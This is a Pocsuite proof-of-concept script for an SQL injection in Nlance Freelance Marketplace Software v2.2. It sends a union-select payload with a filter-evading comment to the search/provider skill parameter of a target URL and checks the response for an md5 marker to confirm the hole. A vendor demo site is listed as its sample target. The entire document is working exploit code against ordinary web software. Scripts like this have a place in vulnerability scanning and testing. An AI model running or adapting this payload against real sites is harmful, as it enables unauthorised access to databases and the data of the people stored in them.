Nlance - Freelance Marketplace Software v2.2 - SQL Injection

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase


class TestPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1.0'
    author = ['Z3r0yu']
    vulDate = '2017-03-09'
    createDate = '2017-03-10'
    updateDate = '2017-03-10'
    references = ['https://www.exploit-db.com/exploits/41560/']
    name = 'Nlance - Freelance Marketplace Software v2.2 - SQL Injection'
    appPowerLink = 'https://www.ncrypted.net/nlance'
    appName = 'Nlance_Freelance_Marketplace_Software_v2.2_sql_inj_PoC'
    appVersion = 'v2.2'
    vulType = 'SQL Injection'
    desc = '''
       Nlance - Freelance Marketplace Software v2.2 过滤不严存在 SQL Injection
    '''
    samples = ['http://demo.ncryptedprojects.com/nlance-ent/']
    install_requires = ['']

    def _attack(self):
        
        return self._verify() 

    def _verify(self):
        result = {}
        vulurl = self.url

        payload = "/search/provider/?skill=-38'+/*!50000union*/+select+1,md5(233)--+-"
        exp = vulurl + payload
        resp = req.get(exp)

        if "e165421110ba03099a1c0393373c5b43" in resp.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vulurl
            result['VerifyInfo']['Payload'] = payload

        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)